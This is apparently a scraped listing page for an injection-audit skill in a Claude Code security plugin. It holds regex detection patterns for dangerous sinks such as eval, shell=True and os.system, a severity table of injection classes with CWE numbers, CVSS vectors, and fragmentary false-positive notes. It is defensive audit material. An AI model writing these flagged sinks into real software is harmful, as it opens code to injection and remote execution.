(?i)(render_template_string|from_string|ERB\.new|\beval\s*\(|new Function\s*\(|shell\s*=\s*True|shell:\s*true|execSync|os\.system)
(\\r\\n|%0d%0a)|(\$where|\$function)
| Finding class | Primary CWE(s) | Typical impact | Base band |
|---|---|---|---|
| Pre-auth SQLi (union/error/blind) on business DB | CWE-89 | full read/write, auth bypass, DB-feature RCE | Critical |
| Post-auth SQLi on sensitive store | CWE-89 | PII exfiltration | High |
| Hibernate/HQL-specific variant | CWE-564 | as SQLi | High |
| OS command injection (any auth level) | CWE-78 (CWE-77 generic) | server takeover | Critical/High |
| Argument injection into privileged wrapper | CWE-78 | privilege escalation | Critical if root wrapper, else High |
| SSTI with escape path | CWE-1336 | RCE | Critical |
| SSTI sandboxed / info-only (Liquid, Django attr leak) | CWE-1336 | disclosure/DoS | Low-Medium |
| eval/new Function/EL/SpEL/OGNL fed input | CWE-94/95/917 | RCE | Critical |
| JNDI lookup trigger (legacy Log4j) | CWE-917 | RCE via rogue LDAP server | Critical |
| NoSQL operator injection | CWE-943 | auth bypass, enumeration | High |
| LDAP injection | CWE-90 | auth bypass, directory enumeration | High |
| XPath injection | CWE-643 | auth bypass, XML data theft | High |
| Generic interpreter injection catch-all | CWE-74 | varies — remap to specific class above | per class |
| CRLF/response splitting | CWE-74 (+79 delivery) | session fixation, cache poisoning | Medium |
| Log content injection | CWE-117 | forged/obscured audit trail | Low |
Example CVSS v3.1 vectors (adjust metrics per engagement):
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H (9.8)CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H (7.2)CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N (~5.4)CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:L/A:N (3.7)Mini-rubric:
| Factor | Pushes Critical/High | Pushes Low |
|---|---|---|
| Authentication | none or self-registration | admin-only wrapper, internal tool |
| Effect channel | data read/write, RCE, auth bypass | delay-only blind oracle, cosmetic log noise |
| Sink process privilege | root/DBA/service account | unprivileged user, sandboxed engine |
| Reach | internet-facing | internal behind VPN |
| Data sensitivity | PII/PHI/credentials/secrets | synthetic or public data |
| Compensating controls | none or WAF-only | egress filtering + sandbox + least privilege (lowers severity; still fix) |
?, :name, $1, @p) and values flow through the driver's binding mechanism; the concat you saw was over the bindings array.int(x) with range check, Number.isInteger(parseInt(x))) — downgrade rather than dismiss only when bounds are absent.raw(sql, params=[x]), find_by_sql([sql, x]), Prisma $queryRaw tagged template — safe forms of scary-looking APIs.escapeshellarg-wrapped operands executed without a shell via array-form proc_open/ProcessBuilder — adequate defense (still flag cmd.exe contexts).ESCAPE clause.sanitizeFilter:true active.CWE entries:
OWASP Cheat Sheet Series:
What SKILL.md sets; muted values are Claude Code's defaults
Three short reads, in order
Python, JavaScript, Java, Go, Ruby
40 skills in this plugin
/aegis-api-securityAudit playbook module for API-specific security failures covering mass assignment, missing rate limits and pagination caps, GraphQL/gRPC misconfiguration, REST hygiene gaps, API key mishandling, and WebSocket/SSE access-control defects across all mainstream web frameworks./aegis-api-token-securityAudits the full lifecycle of bearer/API tokens protecting an internet-exposed HTTP API — minting entropy and format, hash-only server storage, transport rules, scoping, expiry and rotation, revocation, per-key rate limits, and log hygiene — with read-only evidence commands and hardened reference implementations./aegis-authn-sessionDetect authentication and session management failures across login, password storage, password reset, MFA, session lifecycle, JWT/OAuth/API-key handling, remember-me, and session storage./aegis:aegis-injectionfrom Aegis Skills
npx claudepluginhub as-foss/aegis-skills --plugin aegisOther plugins' skills for the same job